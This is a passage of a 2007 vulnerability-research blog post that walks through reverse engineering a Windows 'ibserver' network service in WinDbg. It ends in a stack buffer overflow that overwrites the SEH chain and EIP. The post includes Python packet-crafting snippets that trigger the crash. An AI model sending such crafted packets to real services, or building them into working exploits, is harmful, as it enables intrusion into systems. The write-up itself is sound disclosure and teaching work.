ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x12eb8:00412eb8 e883130000      call    ibserver+0x14240 (00414240)0:003> peax=00000000 ebx=00aa0388 ecx=00a880b4 edx=00a880b4 esi=00aa0758 edi=00000000eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12ebd:00412ebd 83c408          add     esp,8
Oh noez! We called the same function as before but this time we returned false. This cant be good for our progress, so let's do it again, except this time we will step into the function and see what's up. In this function we see some familiar function calls, some familiar data access, but we also see something interesting that catches my eye. First we read another dword off of our packet. Then that data gets used in a subsequent call to a function we have seen before.
0x0041431F mov     ecx, [ebp+user_buffer]0x00414322 xor     edx, edx0x00414324 mov     dx, [ecx]0x00414327 push    edx                               ; our short0x00414328 mov     eax, [ebp+user_buffer]0x0041432B mov     ecx, [eax+4]0x0041432E push    ecx0x0041432F mov     edx, [ebp+recv_info_struct]0x00414332 push    edx0x00414333 mov     eax, [ebp+recv_info_struct]0x00414336 mov     ecx, [eax+4]0x00414339 call    dword ptr [ecx+8]                 ; 00410e46: do_our_receive_copying()0x0041433C add     esp, 0Ch0x0041433F test    eax, eax0x00414341 jnz     short loc_414347
Ahh if we remember do_our_receive_copying takes a "count" argument. The first time we encoutered this was after our initial read and was 4 bytes. This time however we are supplying the count. This is a good thing, but why did we fail. The reason is obvious once we realize we are asking for a specific number of bytes. In the initial tests we were using large values in our user supplied string. But the total length of the string was less than 100 characters. So for instance, a short of 0x4142 would never be filled and the socket would close before all the data could be read. This was the reason the function was returning false when we were expecting true. If we tune our script to send a large amount of data, we should be good.

New script:
opnum = "\x00\x00\x00\x14"unknown = "\x00\x00\x00\x03"length1 = 0x100payload1 = "A" * length1length2 = 0x1000payload2 = "Z" * length2buffer = opnumbuffer += unknownbuffer += struct.pack(">L", length1)buffer += payload1buffer += struct.pack(">L", length2)buffer += payload2s.send(buffer)
I don't normally like having unknown information during protocol reversing but for the sake of time I have been keeping an eye on that value in case it's used again. So far I haven't really seen it being touched so I wont concern myself with it. After changing the script and re-running it we can see we now return true from this function.
Breakpoint 0 hiteax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ibserver+0x12eb3:00412eb3 50              push    eax0:003> teax=00a9bbf0 ebx=00aa0388 ecx=00000000 edx=00a9bbe8 esi=00aa0758 edi=00000000eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ibserver+0x12eb4:00412eb4 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efde0=00a965d40:003> teax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ibserver+0x12eb7:00412eb7 51              push    ecx0:003> teax=00a9bbf0 ebx=00aa0388 ecx=00a965d4 edx=00a9bbe8 esi=00aa0758 edi=00000000eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ibserver+0x12eb8:00412eb8 e883130000      call    ibserver+0x14240 (00414240)0:003> peax=00000001 ebx=00aa0388 ecx=00000000 edx=00a9bbf0 esi=00aa0758 edi=00000000eip=00412ebd esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12ebd:00412ebd 83c408          add     esp,8
And we trace out of this function since we are good to go.
0x004103B3 mov     edx, [ebp+arg_4]0x004103B6 push    edx0x004103B7 mov     eax, [ebp+var_4]0x004103BA add     eax, 80h0x004103BF push    eax0x004103C0 call    do_xdr_processing0x004103C0 0x004103C5 add     esp, 8
After the return, I have labeled this function as do_xdr_processing since that is what appears to be happening. Tracing this function out is a little tedious and proves to be of little interest. The interesting parts are 2 comparisons to our opnum (0x14).
0x004103E1 loc_4103E1:                               ; CODE XREF: sub_410221+1A9j0x004103E1         mov     eax, [ebp+our_opnum]0x004103E4         cmp     dword ptr [eax], 60x004103E7         jnz     short loc_4103F3
Which check our code for 6.
0x0041047B mov     eax, [ebp+our_opnum]0x0041047E cmp     dword ptr [eax], 47h0x00410481 jnz     short loc_410488
Checking for 47.

Since we dont hit any of those we continue on to the calling function. The calling function is a lot larger and more complex than the previous ones we have looked at. After tracing through it doesnt appear to do much with our data. So in the name of brevity I wont paste it. However we do end up at a difficult spot.
0x004054B7 loc_4054B7:                               ; CODE XREF: sub_404F0E+585j0x004054B7         push    00x004054B9         push    10x004054BB         push    30x004054BD         mov     ecx, dword ptr [ebp+arg_4]0x004054C0         and     ecx, 0FFFFh0x004054C6         push    ecx0x004054C7         push    offset sub_40C0850x004054CC         call    start_new_thread
The last function we hit creates a new thread. You can tell this by doing a down graph of the xrefs from.



So lets set a break point on the address our thread will be executing after its created.
Breakpoint 0 hiteax=00000000 ebx=00aa0388 ecx=0000005a edx=ffffffff esi=00aa0758 edi=00000000eip=004054cc esp=010efdf0 ebp=010eff18 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x54cc:004054cc e861e00300      call    ibserver+0x43532 (00443532)0:003> ~   0  Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen   1  Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen   2  Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen.  3  Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen   4  Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen0:003> gBreakpoint 1 hiteax=77c4ba26 ebx=00aa0418 ecx=00aa0418 edx=00060000 esi=00aa0388 edi=010efd88eip=0040c085 esp=00ecff84 ebp=00ecffb4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0xc085:0040c085 55              push    ebp0:005> ~   0  Id: 7b4.11c Suspend: 1 Teb: 7ffdf000 Unfrozen   1  Id: 7b4.33c Suspend: 1 Teb: 7ffde000 Unfrozen   2  Id: 7b4.7f4 Suspend: 1 Teb: 7ffdc000 Unfrozen   3  Id: 7b4.56c Suspend: 1 Teb: 7ffda000 Unfrozen   4  Id: 7b4.4f4 Suspend: 1 Teb: 7ffd9000 Unfrozen.  5  Id: 7b4.118 Suspend: 1 Teb: 7ffdd000 Unfrozen
Just to demonstrate, you can see I break before that start_new_thread function and windbg shows us in TID 3 and our break point on the target function (0x0040C085) shows TID 5. Lets see what this thread is going to be doing. Well, we see a lot of stuff going on here. The function has many nodes so i'll trace through looking for anything important.
eax=00000000 ebx=00aa0418 ecx=00ecff58 edx=00a9bab4 esi=00aa0388 edi=010efd88eip=0040c295 esp=00ecff50 ebp=00ecff80 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0xc295:0040c295 52              push    edx0:002> dc edx00a9bab4  00000014 00000000 00000000 00000000  ................00a9bac4  00000000 00000000 00000000 00000000  ................00a9bad4  00000000 00000000 00000000 00000000  ................00a9bae4  00000000 00000000 00000000 00000000  ................00a9baf4  00000000 00000000 00000000 00000000  ................00a9bb04  00000000 00000000 00000000 00000000  ................00a9bb14  00000000 00000000 00000000 00000000  ................00a9bb24  00000000 00000000 00000000 00000000  ...................0:002> teax=00a9b800 ebx=00aa0418 ecx=00a96554 edx=00a9bab4 esi=00aa0388 edi=010efd88eip=0040c2a1 esp=00ecff44 ebp=00ecff80 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216ibserver+0xc2a1:0040c2a1 e81696ffff      call    ibserver+0x58bc (004058bc)
After a bit of manual single stepping, we can see a function taking our opnum as one of the arguments. Stepping into this, we see what equates to gold in the vulnerability research realm.



This is the same as our previous xdr processing function. Except for the fact that each of these functions call a unique method for handling each opnum. In essence we now have exponentially increased our reachable code and therefore chances of a bug being discovered. This is also a good case for writing a fuzzer which will hit all of these code paths. Tracing to the switch statement we verify what is going on.
eax=00a9bab4 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=0040597d esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x597d:0040597d 8b850cffffff    mov     eax,dword ptr [ebp-0F4h] ss:0023:00ecfe48=000000140:002> teax=00000014 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=00405983 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x5983:00405983 83e801          sub     eax,10:002> teax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=00405986 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x5986:00405986 89850cffffff    mov     dword ptr [ebp-0F4h],eax ss:0023:00ecfe48=000000140:002> teax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=0040598c esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x598c:0040598c 83bd0cffffff5c  cmp     dword ptr [ebp-0F4h],5Ch ss:0023:00ecfe48=000000130:002> teax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=00405993 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297ibserver+0x5993:00405993 0f87ac060000    ja      ibserver+0x6045 (00406045)              [br=0]
Again we see a limit check to make sure our opnum is less than 0x5c (you could set your fuzzer to never exceed this as well).
eax=00000013 ebx=00aa0418 ecx=00000014 edx=00000014 esi=00aa0388 edi=010efd88eip=00405999 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297ibserver+0x5999:00405999 8b950cffffff    mov     edx,dword ptr [ebp-0F4h] ss:0023:00ecfe48=000000130:002> teax=00000013 ebx=00aa0418 ecx=00000014 edx=00000013 esi=00aa0388 edi=010efd88eip=0040599f esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei ng nz ac pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297ibserver+0x599f:0040599f 33c9            xor     ecx,ecx0:002> teax=00000013 ebx=00aa0418 ecx=00000000 edx=00000013 esi=00aa0388 edi=010efd88eip=004059a1 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x59a1:004059a1 8a8aa5614000    mov     cl,byte ptr ibserver+0x61a5 (004061a5)[edx] ds:0023:004061b8=020:002> teax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88eip=004059a7 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x59a7:004059a7 ff248df5604000  jmp     dword ptr ibserver+0x60f5 (004060f5)[ecx*4] ds:0023:004060fd=00405ab40:002> teax=00000013 ebx=00aa0418 ecx=00000002 edx=00000013 esi=00aa0388 edi=010efd88eip=00405ab4 esp=00ecfe48 ebp=00ecff3c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x5ab4:00405ab4 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:00ecff48=00a9b800
Again a demonstration on how a switch statement is compiled down into assembly. If we look at these functions in the function table we see.
0x004060F5 off_4060F5 dd offset loc_4059AE           ; DATA XREF: process_command+EBr0x004060F9         dd offset loc_405B130x004060FD         dd offset loc_405AB40x00406101         dd offset loc_405C930x00406105         dd offset loc_405A950x00406109         dd offset loc_405BEA0x0040610D         dd offset loc_405C0D0x00406111         dd offset loc_405BCB0x00406115         dd offset loc_405BAC0x00406119         dd offset loc_405DB50x0040611D         dd offset loc_405C4E0x00406121         dd offset loc_405C700x00406125         dd offset loc_405CF00x00406129         dd offset loc_405D350x0040612D         dd offset loc_405D130x00406131         dd offset loc_405D730x00406135         dd offset loc_405DD40x00406139         dd offset loc_405DF70x0040613D         dd offset loc_405E150x00406141         dd offset loc_405D960x00406145         dd offset loc_405E330x00406149         dd offset loc_405E510x0040614D         dd offset loc_405E6F0x00406151         dd offset loc_405E8D0x00406155         dd offset loc_405EAB0x00406159         dd offset loc_405D540x0040615D         dd offset loc_405EC90x00406161         dd offset loc_405F2C0x00406165         dd offset loc_405F4F0x00406169         dd offset loc_405F710x0040616D         dd offset loc_405F900x00406171         dd offset loc_405FCE0x00406175         dd offset loc_405FED0x00406179         dd offset loc_4060290x0040617D         dd offset loc_405FAF0x00406181         dd offset loc_405C300x00406185         dd offset loc_405CD10x00406189         dd offset loc_405AD70x0040618D         dd offset loc_405CB20x00406191         dd offset loc_405AF50x00406195         dd offset loc_4060090x00406199         dd offset loc_405F090x0040619D         dd offset loc_405EE70x004061A1         dd offset loc_406045
All of these are unique and potentially accessible. Following our opnum we hit its handler.
eax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88eip=00405ac1 esp=00ecfe44 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x5ac1:00405ac1 52              push    edx0:002> teax=00000013 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88eip=00405ac2 esp=00ecfe40 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x5ac2:00405ac2 8b45f4          mov     eax,dword ptr [ebp-0Ch] ss:0023:00ecff30=000000140:002> teax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88eip=00405ac5 esp=00ecfe40 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x5ac5:00405ac5 50              push    eax0:002> teax=00000014 ebx=00aa0418 ecx=00a9b800 edx=00a9bbe4 esi=00aa0388 edi=010efd88eip=00405ac6 esp=00ecfe3c ebp=00ecff3c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x5ac6:00405ac6 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:00ecff44=00a965540:002> teax=00000014 ebx=00aa0418 ecx=00a96554 edx=00a9bbe4 esi=00aa0388 edi=010efd88eip=00405aca esp=00ecfe38 ebp=00ecff3c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x5aca:00405aca e8a00b0000      call    ibserver+0x666f (0040666f)
As we trace through this function we begin to see wonderful results.
eax=00000000 ebx=00aa0418 ecx=00a96554 edx=00000000 esi=00aa0388 edi=010efd88eip=00406828 esp=00ecfbac ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x6828:00406828 8b5588          mov     edx,dword ptr [ebp-78h] ss:0023:00ecfdb8=00a953f00:002> teax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88eip=0040682b esp=00ecfbac ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x682b:0040682b 52              push    edx0:002> dc edx00a953f0  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95400  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95410  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95420  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95430  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95440  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95450  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ00a95460  5a5a5a5a 5a5a5a5a 5a5a5a5a 5a5a5a5a  ZZZZZZZZZZZZZZZZ
This is our second buffer that occurs after our second length argument.
0:002> teax=00000000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88eip=0040682c esp=00ecfba8 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x682c:0040682c 668b45ec        mov     ax,word ptr [ebp-14h]    ss:0023:00ecfe1c=10000:002> teax=00001000 ebx=00aa0418 ecx=00a96554 edx=00a953f0 esi=00aa0388 edi=010efd88eip=00406830 esp=00ecfba8 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x6830:00406830 50              push    eax0:002> t
This is our length2.
eax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a953f0 esi=00aa0388 edi=010efd88eip=00406835 esp=00ecfba0 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x6835:00406835 8b9580fdffff    mov     edx,dword ptr [ebp-280h] ss:0023:00ecfbb0=00a963f40:002> teax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88eip=0040683b esp=00ecfba0 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x683b:0040683b 52              push    edx0:002> dc edx00a963f4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96404  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96414  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96424  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96434  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96444  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96454  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96464  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
Our first buffer
...0:002> teax=00001000 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88eip=0040683c esp=00ecfb9c ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x683c:0040683c 668b4584        mov     ax,word ptr [ebp-7Ch]    ss:0023:00ecfdb4=01000:002> teax=00000100 ebx=00aa0418 ecx=00ecfdbc edx=00a963f4 esi=00aa0388 edi=010efd88eip=00406840 esp=00ecfb9c ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x6840:00406840 50              push    eax0:002> t
Our length1
...0:002> teax=00000100 ebx=00aa0418 ecx=00ecfdc0 edx=00a963f4 esi=00aa0388 edi=010efd88eip=00406845 esp=00ecfb94 ebp=00ecfe30 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x6845:00406845 e880360300      call    ibserver+0x39eca (00439eca)
Well know that we are finally (sorry it took so long) at a function taking our actual arguments, we may be in business. This function uses our length values heavily. In various places we see checks to make sure we have positive values, all our pointers are legit, and indexes into our user supplied string. However, in the middle of the function is pretty interesting.
0x0043A0C5 mov     ecx, [ebp+our_length1]0x0043A0CB and     ecx, 0FFFFh0x0043A0D1 mov     esi, [ebp+user_supplied_string]0x0043A0D4 mov     edi, [ebp+target_stack_buffer]0x0043A0D7 mov     eax, ecx0x0043A0D9 shr     ecx, 20x0043A0DC rep movsd
Since I happen to be labeling things as I go this is a pretty obvious problem. We can supply the size of our inline memcpy, the source is our user supplied string, and the destination is a stack buffer. If we trace the buffer back we see it is of size 1024.
var_424= dword ptr -424h    0x0043A039 lea     edx, [ebp+var_424]0x0043A03F mov     [ebp+target_stack_buffer], edx
We get 0x400 after subtracting the other locals to get 1024. Since I now know I can control significant pieces of data I am going back to my script before I continue. I know that I can supply the length, I know the stack buffer is 1024 bytes and I know I can control what gets written.
opnum = "\x00\x00\x00\x14"unknown = "\x00\x00\x00\x03"length1 = 0x1000payload1 = "A" * length1length2 = 0x2000payload2 = "Z" * length2buffer = opnumbuffer += unknownbuffer += struct.pack(">L", length1)buffer += payload1buffer += struct.pack(">L", length2)buffer += payload2
Lets do it.
Breakpoint 0 hiteax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88eip=0043a0c5 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0c5:0043a0c5 8b8d28f7ffff    mov     ecx,dword ptr [ebp-8D8h] ss:0023:00ecf2b4=000010000:005> teax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88eip=0043a0cb esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0cb:0043a0cb 81e1ffff0000    and     ecx,0FFFFh0:005> teax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00aa0388 edi=010efd88eip=0043a0d1 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0d1:0043a0d1 8b7510          mov     esi,dword ptr [ebp+10h] ss:0023:00ecfb9c=00a954f40:005> teax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=010efd88eip=0043a0d4 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0d4:0043a0d4 8b7de4          mov     edi,dword ptr [ebp-1Ch] ss:0023:00ecfb70=00ecf7680:005> teax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768eip=0043a0d7 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0d7:0043a0d7 8bc1            mov     eax,ecx0:005> teax=00001000 ebx=00aa0418 ecx=00001000 edx=00a91000 esi=00a954f4 edi=00ecf768eip=0043a0d9 esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0d9:0043a0d9 c1e902          shr     ecx,20:005> teax=00001000 ebx=00aa0418 ecx=00000400 edx=00a91000 esi=00a954f4 edi=00ecf768eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0dc:0043a0dc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ecf768=00000000 ds:0023:00a954f4=414141410:005> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.00ecfb8c 0040684a 00ecfdc0 00001000 00a954f4 ibserver+0x3a0dc00ecfe30 00405acf 00a96554 00000014 00a9bbe4 ibserver+0x684a00ecff3c 0040c2a6 00a96554 00a9b800 00a9bab4 ibserver+0x5acf*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 00ecff80 77c3a3b0 0000005a 010efd88 00000000 ibserver+0xc2a6*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 00ecffb4 7c80b50b 00aa0418 010efd88 00000000 MSVCRT!endthreadex+0xa900ecffec 00000000 77c3a341 00aa0418 00000000 kernel32!GetModuleFileNameA+0x1b40:005> !exchain00ecffa4: MSVCRT!except_handler3+0 (77c35c94)  CRT scope  0, filter: MSVCRT!endthreadex+af (77c3a3b6)                func:   MSVCRT!endthreadex+c3 (77c3a3ca)00ecffdc: kernel32!FindAtomW+94 (7c8399f3)0:005> p(4a4.64c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00001000 ebx=00aa0418 ecx=000001da edx=00a91000 esi=00a95d8c edi=00ed0000eip=0043a0dc esp=00ecf2ac ebp=00ecfb8c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x3a0dc:0043a0dc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00ed0000=???????? ds:0023:00a95d8c=414141410:005> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.00ecfb8c 41414141 41414141 41414141 41414141 ibserver+0x3a0dc00ecfb90 41414141 41414141 41414141 41414141 0x4141414100ecfb94 41414141 41414141 41414141 41414141 0x4141414100ecfb98 41414141 41414141 41414141 41414141 0x4141414100ecfb9c 41414141 41414141 41414141 41414141 0x4141414100ecfba0 41414141 41414141 41414141 41414141 0x4141414100ecfba4 41414141 41414141 41414141 41414141 0x4141414100ecfba8 41414141 41414141 41414141 41414141 0x4141414100ecfbac 41414141 41414141 41414141 41414141 0x4141414100ecfbb0 41414141 41414141 41414141 41414141 0x4141414100ecfbb4 41414141 41414141 41414141 41414141 0x4141414100ecfbb8 41414141 41414141 41414141 41414141 0x4141414100ecfbbc 41414141 41414141 41414141 41414141 0x4141414100ecfbc0 41414141 41414141 41414141 41414141 0x4141414100ecfbc4 41414141 41414141 41414141 41414141 0x4141414100ecfbc8 41414141 41414141 41414141 41414141 0x4141414100ecfbcc 41414141 41414141 41414141 41414141 0x4141414100ecfbd0 41414141 41414141 41414141 41414141 0x4141414100ecfbd4 41414141 41414141 41414141 41414141 0x4141414100ecfbd8 41414141 41414141 41414141 41414141 0x414141410:005> !exchain00ecffa4: 41414141Invalid exception stack at 414141410:005> g(4a4.64c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000eip=41414141 esp=00eceedc ebp=00eceefc iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0000024641414141 ??              ???
Well now, wasn't that fun? As we can see, this loop copied our payload1 buffer until it smashed the SEH chain pointers. Again, this would be a perfect place to use a unique string, but for demonstration purposes it's more dramatic this way. A funny part of reverse engineering and looking for bugs is that you'll notice we never touched our length2 and payload2 arguments before this crash. They can be anything as long as we pass our recv loop from earlier. The reason for this is that the program dies before it has a chance to work on the rest of our data. I'm not complaining, but I wish I knew that earlier :).

I hope this has shed some light on how we go from 0 to 0day in under 30 minutes. With practice, you get use to all of this and it becomes very familiar. I'm also guessing this isn't the only bug, remember we never touched length2/payload2, so give it a try.

If you have any question or comments please leave them and i'll respond!

-Cody "Longest blog on internet" Pierce
Tags: reverse engineering,security,vulnerabilities,research
Published On: 2007-07-24 14:14:13
 
http://dvlabs.tippingpoint.com/blog/2007/07/24/step-by-step-of-how-tpti-07-013-was-discovered
原创粉丝点击